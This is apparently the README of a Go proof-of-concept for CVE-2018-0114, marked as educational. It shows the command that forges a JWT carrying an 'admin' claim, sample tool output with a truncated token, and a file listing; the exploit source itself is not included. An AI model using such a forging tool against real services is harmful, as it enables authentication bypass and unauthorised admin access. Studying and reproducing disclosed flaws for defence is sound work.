# CVE-2018-0114 Proof of Concept
Reference: [CVE-2018-0114](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0114)
**Note:** For educational purposes only.
To generate a JWT with the claim "admin", run the following command in the project directory:
```sh
go run . --claim=admin
```
```sh
____ __ __ ____ ___ __ _ __ __ _ _ __ __
/\ _`\ /\ \/\ \ /\ _`\ /'___`\ /'__`\ /' \ /'_ `\ /'__`\ /' \ /' \ /\ \\ \
\ \ \/\_\ \ \ \ \ \ \ \ \L\_\ /\_\ /\ \ /\ \/\ \ /\_, \ /\ \L\ \ /\ \/\ \ /\_, \ /\_, \ \ \ \\ \
\ \ \/_/_ \ \ \ \ \ \ \ _\L _______ \/_/// /__ \ \ \ \ \ \/_/\ \ \/_> _ <_ _______ \ \ \ \ \ \/_/\ \ \/_/\ \ \ \ \\ \_
\ \ \L\ \ \ \ \_/ \ \ \ \L\ \/\______\ // /_\ \ \ \ \_\ \ \ \ \ /\ \L\ \/\______\ \ \ \_\ \ \ \ \ \ \ \ \ \__ ,__\
\ \____/ \ `\___/ \ \____/\/______/ /\______/ \ \____/ \ \_\ \ \____/\/______/ \ \____/ \ \_\ \ \_\ \/_/\_\_/
\/___/ `\/__/ \/___/ \/_____/ \/___/ \/_/ \/___/ \/___/ \/_/ \/_/ \/_/
[x] Generating JWT with payload "admin" ...
[x] Keys Generated
[x] Signature Signed
eyJhbGciOiJSUzI1NiIsI.......
```
[4.0K] /data/pocs/352a0d49fd9b8961c7324236280266edbf9bd422
├── [ 655] banner.go
├── [ 123] go.mod
├── [ 227] go.sum
├── [ 561] jwt.go
├── [ 890] keys.go
├── [1.0K] main.go
└── [1.3K] README.md
0 directories, 7 files